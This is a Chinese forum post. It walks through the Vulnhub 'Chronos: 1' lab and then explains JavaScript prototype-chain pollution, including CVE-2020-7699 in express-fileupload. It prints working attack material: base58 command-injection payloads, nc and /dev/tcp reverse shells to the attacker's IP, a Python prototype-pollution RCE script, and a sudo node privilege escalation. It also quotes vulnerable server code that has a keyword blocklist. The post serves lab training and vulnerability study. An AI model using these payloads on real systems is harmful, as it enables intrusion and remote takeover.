电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 464 人浏览分享

Vulnhub打靶 - JavaScript基于原型编程思路与原型链污染原理

[复制链接]
464 0


本次主要说明 JavaScript 中原型链污染漏洞的原理与利用,但直接介绍该漏洞过于无趣,所以以一个
靶机的渗透过程为引,其中便存在着原型链污染的漏洞,之后再详细介绍 JavaScript 中原型链的概念
以及原型链漏洞的原理及利用

基本信息

靶机网址:Chronos: 1

攻击机KALI:10.21.194.254

靶机 :10.21.193.155

难度

Medium

渗透测试及思路

主机发现:netdiscover该工具与之前使用的arp-scan等工具原理一致,都是发送arp广播数据包:netdiscover
-r 10.21.0.0/16对于该工具,若实际网络的子网掩码为24位,在使用的时候指定的子网掩码建议在实际的基础
上8也就是24 - 8 = 16这样对最终的发现结果更好

但要注意要为8的倍数

QQ截图20221123112647.png

由于靶机放在了VirtualBox中,而kali在VMware中,故使用桥接,但本身连着学校的wifi,所以二层探测会探
测出大量主机VirtualBox特有的标识PCS Systemtechnik GmbH判断即可

QQ截图20221123112727.png

确定靶机IP后,继续利用nmap进行全端口扫描nmap -p- 10.21.193.155

2699986869.png

经探测发现其开启了22 80 8000三个端口

接下来再探测器端口的服务nmap -p22,80,8000 -sV 10.21.193.155

113031.png

经探测发现其开放端口对应的服务分别为:

22-ssh-OpenSSH
80-httpd-Apache httpd 2.4.29
8000-httpd-Node.js Express framewor

通过浏览器访问80

对于 web 网站,若当前页面中感觉没有什么可利用的东西,一般有两种常规思路:

通过dissearch等工具遍历其目录,看看有没有什么隐藏的路径

2688998.png

通过CTRL + u查看其网页源码,看看有没有一些隐藏域、隐藏表单、隐藏的接口 加载的脚本等隐藏的页面元素

在该页面的HTML源码中,看到了一段包含在<script>标签中的脚本,但将这段代码复制到本地
进行查看的时候会发现其中的变量、函数名等都进行了某种编码,导致直接阅读可读性不强所以
一般要对该代码进行一定程度的整理还原

112031.png

JavaScript代码还原
使用在线工具cyberchef(也可以clone到本地使用)
cyberchef是一种可以针对计算机各种数据类型来做各种的编码、解码、还原、解密
解压等等操作的工具

1668862119_6378d0a7c0131baa6ab66.png

首先将刚刚的js代码放入Input窗口,并在左边的选项卡中选择用于优化、美化JavaScript代码
的JavaScript Beautiful模块
美化后,可以看到,虽然对其结构进行了优化,但其变量、函数名等还是经过某种编码编码过的,没法优化
但是在其中,可以一眼看见一段明文的URL链接

100.png

可以看出URL的域名部分为chronos.local且 端口为8000,所以有理由怀疑该域名就指向了这台
靶机但直接访问是会被拒绝的:

99.png

所以可以在kali的/etc/hosts文件中建立一条域名与IP的映射关系记录,之后记得用PING检查一下

98.png

96.png

刷新当前网站

建立好映射关系后,刷新当前网站,可以看到当前网站显示出了当前的时间(当前网站通过刚刚的域
名对应关系到8000端口处,获得到了当前的时间,并进行显示)

通过Burp代理观察整个报文的交互过程

启动浏览器代理,并由Burp进行抓包,刷新该页面 放开截断即可,我们的目的是在HTTP history观察
在加载该页面过程中发出了哪些请求以及响应流量

89.png

(忽略和google有关的Host)

88.png

可以看出网页会通过GET向上面得到的那一串URL发送请求,服务端会回复给前端当前的时间再由前端进行显示

也可通过 站点地图 (Site map)查看

86.png

所以接下来将该URL送到Repeator进行重放尝试

Repeator重放尝试

为什么当前向服务端发送该 URL 样子的请求,服务端就会返回当前时间,修改掉format后的参数
服务端是否还会显示一样的时间呢?

所以为了验证该想法,更改format后面的一串参数再次发送请求,发现服务器端不再正常响应了 所以该字
符串至关重要,此处歪打正着,随便删了点字符串忘了加与HTTP/1.1之间的空格了,结果在报错信息中正
好看见了使用的是base58的编码

82.png

若正常通过观察,可能会怀疑其是通过base64URL进行的编码,所以尝试解码(最常见)
可以使用CyberChef中的magic模块进行解码的尝试,当我们不确定目标字符串的编码方式时 可以使
用该模块自动帮我们分析当前字符串可能的编码方式:

81.png

经过magic模块分析,当前字符串可能是通过base58的方式进行的编码,编码前的原始字符串为:
'+Today is %A, %B %d, %Y %H:%M:%S.'

80.png

很明显感觉到这个是time的一个系统调用中所采取的格式,并且通过date命令,也可以解析该格式

69.png

所以有理由怀疑此处可能是调用了操作系统的指令(也有可能是在代码中使用了系统函数)若是使
用了操作系统的date指令,则是否存在命令注入的可能

尝试命令注入

此时突然断网了。。。。所以kali机的IP切换为10.21.204.212靶机没变
可利用 以下连接符号
||(前命令执行错误才会执行后续命令)
;
&&(前命令正确才会执行后续命令)
将&& ls进行base58的编码,并放入GET包中继续中发送,果然返回了ls的结果,证明命令注入存在
于是又想到了反弹shell,先通过&& ls /bin判断目标端bin目录下取确认存在nc指令,由于其版本的不确定
所以可能存在无法使用-e参数的情况,但要先确认nc是否可用

kali上nc -nvlp 4444

68.png

并用base58编码&& nc 10.21.204.212:4444尝试是否可以正常连接,发现nc可以建立连接
但再次测试发现其不存在-e参数,所以还要通过nc串联在实现
&& nc 10.21.204.212 4444 | /bin/bash | nc 10.21.204.212 5555

66.png

成功

在目标服务器中信息收集

连接shell后,当前所处的路径应该就是web应用所在的路径,经查看为:/opt/chronos
cat /etc/passwd发现一个名为imera的可登录用户账号,尝试访问其家目录/home/imera发现其中存在一个user.txt
文件,但是并没有其访问权限,只有该文件的所有者imera才可以访问该文件,所以要尝试进行权限提升

62.png

61.png

首先用id查看当前用户身份及权限

60.png

本地地权

Linux中常规的提权思路基于以下三种:

Linux内核漏洞

uname -a发现其内核版本为4.15,但并没有找到关于该内核的提权漏洞

49.png

SUID权限管理不严格

也没有找到具有s位的可利用文件

利用sudo -l配置漏洞

很遗憾当前用户没有sudo权限

至此,当前本地提权这个思路失败,所以要再次进行信息收集

再次信息收集

渗透测试思路源于大量的信息收集

再次回到当前用户的家目录,看到其后端的web应用程序是建立在JavaScript之上的(.js文件)与常规认知不
同使用JavaScript可以借助Node.js利用 谷歌开发的v8脚本引擎,非常高效的开发运行服务端web程序
Node.js最初由个人开发者开发,后期托管于OpenJS Foundation进行维护,使用Node.js开发的web应用程序
一般都是基于一些已有的 框架/库(Node.js提供的模块) 进行的

常见的库有 :ExpressSocket.ioCors等,其中针对web开发最常用的就是Express.js
审计与当前web程序有关的代码
一般在使用Node.js开发的应用中,会有一个.json文件(package.json)用于包含当前开发所
需要的模块项目中的配置信息等
所以先来查看package.json(其中bs58就是用来进行base58的编码与解码的)

48.png

再来看app.js代码

const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58'); // bs58 负责进行 base58 的加解码
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
    res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
    var agent = req.headers['user-agent'];
    var cmd = 'date '; // 调用 date 系统指令
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded); // 直接对编码后的数据近些拼接,并没有过滤
    if (agent === 'Chronos')  // 会对收到报文的 user-agent 进行识别
                {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.inc
ludes('nc') || concat.includes('bash') || concat.includes('php') ||
concat.includes('which') || concat.includes('socat'))
                                {
                                                // 此处虽然对特殊的字符进行了识别,但是并未给出具体有效的过滤措施
                                                // 只是报了一个提示,并未阻止其执行
            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error)                         {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr)                                 {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{
        res.send("Permission Denied");
    }
})
app.listen(port,() => {
    console.log(`Server running at ${port}`);
})

可以看出其中对从GET包中获取的参数没有进行任何的过滤直接拼接执行,所以才导致了刚刚获取shell的操作
另外看出会通过请求包头中的User-agent中是否为Chronos来确认其权限,不是Chronos则会提示Permission
denied(而最初看到的那一堆js代码就负责从发出的HTTP GET包中将其UA改为Chronos)

但分析下来发现,当前app.js中没有提权的途径,所以还要继续做信息收集

继续信息收集

在/opt目录下,发现了两个版本的chronos应用,除了刚刚看的,还有一个chronos-v2目录

46.png

进入该路径后,发现这时另外一个web应用,并看到其中有一个名为backend的后端目录,再往里走,看到了四个文件

node_module
package.json
package-lock.json
server.js

同样先查看package.json看到其中指明了服务端主程序为server.js等信息 还有一个很重要的信息
express-fileupload:1.1.7-alpha.3怀疑是文件上传功能

39.png

查看server.js

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1" // 可以看出该模块要从本地访问,这也就是之前扫描器没有扫到的原因
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

但是在该代码中并没有找到明显的问题,所以问题还是回到了最有可能出现问题的上传模块express-fileupload

express-fileupload的利用

该模块要利用必须开启parseNested,从上面的代码中可以看出确实如此parseNested: true
所以尝试是否存在 JavaScript Prototype污染攻击 ,此处的原理会在另外一篇文章中介绍 此处直
接拿来一个用于反弹shell的Poc来利用即可:

Real-world JS - 1

将Poc中的源目IP进行修改,从刚刚阅读server.js该上传模块要访问的是 本地的8080端口
所以记得将post请求的地址和端口也改了

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/10.21.204.212/7777 0>&1"'
# pollute
requests.post('<http://127.0.0.1:8080>', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('<http://127.0.0.1:8080>')

接下来只需在 kali 机上起一个http.server,再在靶机上通过wget下载该Poc进行执行即可反弹shell

38.png

可以看到,这个就是刚刚的imera用户,顺利从其加目录下的user.txt中拿到第一个flag

36.png

由于最后的flag在/root目录下,所以我们最终要想办法访问到/root

sudo -l与node配合反弹shell

通过sudo -l发现node命令可以在无需密码的情况下通过root的权限去跑,所以接下来看看有没
有通过node命令反弹shell的方式

33.png

node反弹shell

sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'

22.png

至此两个shell就都获得了

当然这里两个flag都是base64编码后的结果,至于其解码后是什么,就由大家探索吧

JavaScript基于原型编程思路与原型链污染

由于我也对JavaScript的底层思想或架构不很熟悉,所以此处仅说明其原理以及含义 至于为什么为什
么这样设计,说是这样设计有哪些具体的好处,恕难说明

基于原型的编程

基于原型的编程是一种面向对象的编程风格,其中继承 是通过重用 作为原型的现有对象的过程来执行的
在基于原型的语言中,是没有明确的类的( 虽然ECMAScript 6后提供class关键字,但其更像是一种语法糖
依旧是通过原型实现 )。对象通过原型属性直接从其他对象继承

与传统面向对象语言的区别

与C++等传统的面向对象语言不同,对于C++来说,声明一个类后,其中带有默认构造函数用于实例化
时初始化这个类,但在基于原型的语言中是没有明确的类的,以JavaScript为例,如果在JavaScript中想
要定义一个类,需要以定义 “构造函数” 的方式定义

比如要想定义一个Person类,则js中的定义方式为:

function Person()
{
                this.age = 18
}

此时就相当于通过定义Person类的构造函数Person()的方式定义了这个类接下来要想
实例化这个类则new Person()
但与传统的面向对象编程风格一致,类中不能只有属性(this.age)还应存在 方法( 函数 )但是由于js中
的类是通过构造函数实现的,若是直接将函数定义在构造函数中:

function Person()
{
                this.age = 18

                this.say = function() {
                                       
                                        console.log(this.age)       
                }
}


会导致每次实例化该对象时,都会将其中定义的函数执行一次(本例中的say方法)类比
于将一个函数直接定义在C++中的构造函数中,并实例化该对象
为了解决这个问题js有了自己的解决思路:prototype

prototype

prototype在JavaScript中用于调用原型属性 (不理解先跳过)

若想创建类的时候创建一次say方法,就需要使用 原型(prototype) 说白了就类似于C++中类内
函数只定义一次,之后需要的时候才会调用执行
对于上述例子,若想让Person()这个类,具备say这个方法,又不必每次实例化一
个对象都执行该方法,就要这样定义:

function Person()
{
                this.age = 18
}

Person.prototype.say = function say(){
                               
                        console.log(this.age)       
}


此时便可在实例化对象后通过实例化的对象调用该方法

let Sam = new Person()

Sam.say()

那为什么可以这么定义呢?首先有这样一个前提:JavaScript中任意 “类”(构造函数 都有一个内置属
性这个内置属性就是prototype也叫做 显示原型

该怎么理解?

再以C++为例,再次明确prototype 的出现是为了解决不应将方法定义在构造函数中的
这个问题该怎么解决这个问题呢?

JavaScript用了一个继承的方式解决了这个问题,这里又有一个前提,就像Linux中所有进程都是由Init这个父
进程来的一样,JavaScript中也存在一个最终原型Object.prototype(Object.prototype的原型就是null了)

起始Person类(函数)是继承于Person.prototype的,而这个Person.prototype是以当前函数作为构造函数
构造出来的对象的原型对象,可以自己指定,若没有指定那么他就是空的Object.prototype

prototype是一个指针,指向一个对象,这个对象的用途就是包含所有实例共享的属性和方法我们把这个对象
叫做原型对象原型对象也有一个属性,叫做constructor,这个属性包含了一个指针,指回原构造函数
但注意,上面说的prototype是函数的属性,并不是实例化对象的属性,比如let Sam = new Person()
下Sam这个实例化对象中是没有prototype属性的

但是实例化对象也有访问该原型对象的需求,为了这个需求又引入了__proto__
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

proto

既然前面有显示原型,那么就一定存在相反的 隐式原型
所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型)
Person类实例化出来的Sam对象,可以通过__proto__属性来访问Person类的原型对象,也就是说:
Sam.__proto__ === Person.prototype为true

一个对象的__proto__属性,指向这个对象所属的类的prototype属性

总结

每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象
的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一
个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型
又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的
原型链的基本概念。—— 摘自《javascript高级程序设计》

听起来似懂非懂?继续往下看

JavaScript 原型链继承

正如刚刚所说,由于所有的类对象在实例化的时候都会拥有prototype中的属性和方法 并可以通过__proto__访
问其中的属性和方法,这也正式JavaScript用来实现继承的机制
刚刚在介绍prototype时,其继承的是Object( 原型链的尽头Object.prototype)
但这个继承是可以指定的

function Animal() {
                this.eat = 'meat'
                this.age = 100
}
function Person() {
                this.age = 18
}
Person.prototype = new Animal()
let Sam = new Person()
console.log('${Sam.eat} ${Sam.age}')

此时Person的prototype是指向Animal类实例化出的对象,也就是说Animal这个类实例化出的对
象是以 Person() 作为构造函数实例化对象的原型对象,所以最终输出的为 :meat 18
具体来说,在输出${Sam.eat}时:

首先会在由Person实例化出的对象Sam中寻找eat属性
找不到的话,就会到Sam.__proto__中寻找该属性,因为Person类的prototype指向的是Animal
所以就会到Animal类的原型中寻找该值
若再找不到,则继续向上寻找至Sam.__proto__.__proto__
直到遍历到 原型链的顶端,也就是null

那么此时对这个图,应该就比较好理解了:

18.png

原型链污染

起始所谓的原型链污染,起始最主要的问题就处在原型链顶端的下一个类,也就是Object类若该类中
的某些属性被改、或被赋予了新的属性,那么新创建的类将会继承自该类,也就会拿到新增加的值
引用 p神 的一个例子

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

此时zoo.bar = 2

应用

以打靶过程中存在的原型链污染漏洞为例:
其中最关键的一步:反弹imear用户的shell,原型链污染便是最重要的环节之一
该靶场中存在原型链污染的代码为

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1" // 可以看出该模块要从本地访问,这也就是之前扫描器没有扫到的原因
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

漏洞简介

该漏洞编号为:CVE-2020-7699:NodeJS模块代码注入
引发该漏洞的为Nodejs中的express-fileupload模块,该模块在1.1.8版本之前存在原型链污染漏洞
后发现后被快速修复,但是此处想要引发该漏洞需要一定的基础条件:
引发该漏洞的基础条件:parseNested: true

通过该漏洞触发远程REC所需进一步的条件:'view engine', 'ejs'使用模板引擎 EJS(嵌入式JavaScript模板)。
好巧不巧,上述靶机的代码中两个条件全满足了 若不想了解接下来的原理,可以到刚刚提到的文章
中直接获取RCE的Poc即可

漏洞原理及利用

该漏洞中触发原型链污染的位置就在parseNested模块中的porcessNested方法下 该方法会将
上传的JSON数据展开为 嵌套对象

例如用一个最常举的例子:

传入数据:{"a.b.c" : true}
内部展开数据:{"a" : {"b" : {"c" : true}}}
这样看并没有什么问题,但如果结合之前原型链的知识,稍作改动
传入数据:{"__proto__.polluted" : true}
内部展开的数据:{"__proto__" : {"polluted" : true}}(调用processNested后)

此时就会为当前函数的prototype对象添加一个polluted属性,接下来所有继承自该prototype的
方法都将被添加该属性,如果恰巧是Object,那么所有当前默认继承的函数都会被添加上该属性
而且既然能添加,也就一样存在着修改的可能

let some_obj = JSON.parse(`{"__proto__.polluted": true}`);
processNested(some_obj);

console.log(polluted); // true!

要注意,这个被改变/新增属性的过程,是在porcessNested函数中处理过程中被赋值的

porcessNested函数原型

function processNested(data){
    if (!data || data.length < 1) return {};

    let d = {},
        keys = Object.keys(data);

    for (let i = 0; i < keys.length; i++) {
        let key = keys,
            value = data[key],
            current = d,
            keyParts = key
        .replace(new RegExp(/\\[/g), '.')
        .replace(new RegExp(/\\]/g), '')
        .split('.');

        for (let index = 0; index < keyParts.length; index++){
            let k = keyParts[index];
            if (index >= keyParts.length - 1){
                current[k] = value;
            } else {
                if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
                current = current[k]; // 关注此处
            }
        }
    }
    return d;
};

那么改入传递构造好的原型链呢?

busboy.on('finish', () => {
    debugLog(options, `Busboy finished parsing request.`);
    if (options.parseNested) {
        req.body = processNested(req.body);
        req.files = processNested(req.files);
    }

    if (!req[waitFlushProperty]) return next();
    Promise.all(req[waitFlushProperty])
        .then(() => {
        delete req[waitFlushProperty];
        next();
    }).catch(err => {
        delete req[waitFlushProperty];
        debugLog(options, `Error while waiting files flush: ${err}`);
        next(err);
    });
});

可以看到

req.body = processNested(req.body);

req.files = processNested(req.files);

这两处调用了存在漏洞的processNested函数,其传入的参数分别为:

req.bodynodejs解析的post请求体

req.files上传文件的信息

此处利用req.files进行传参,只需要将函数的名称构造为一个原型链即可,这里清楚受害者toString函数 该方法属
于Object对象,由于所有的对象都继承了Object的对象实例,因此所有的实例对象都可以使用该方法,同样若该方
法被改为一个不是函数的其他对象,那么所有调用该方法的位置都会出错

此时很简单,只需将upload的name改为__proto__.toString即可,之后由于processNested的解析 会将将其赋
值为一个不是函数的对象,所以所有访使用该函数的位置都会报错

此时传递的JSON包的格式为:

16.png

截图来自 https://blog.p6.is/Real-World-JS-1/#express-fileupload)


所以解析完就会变为

{}[__proto__][toString] = { ...... }

此时toString将不再是一个函数

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.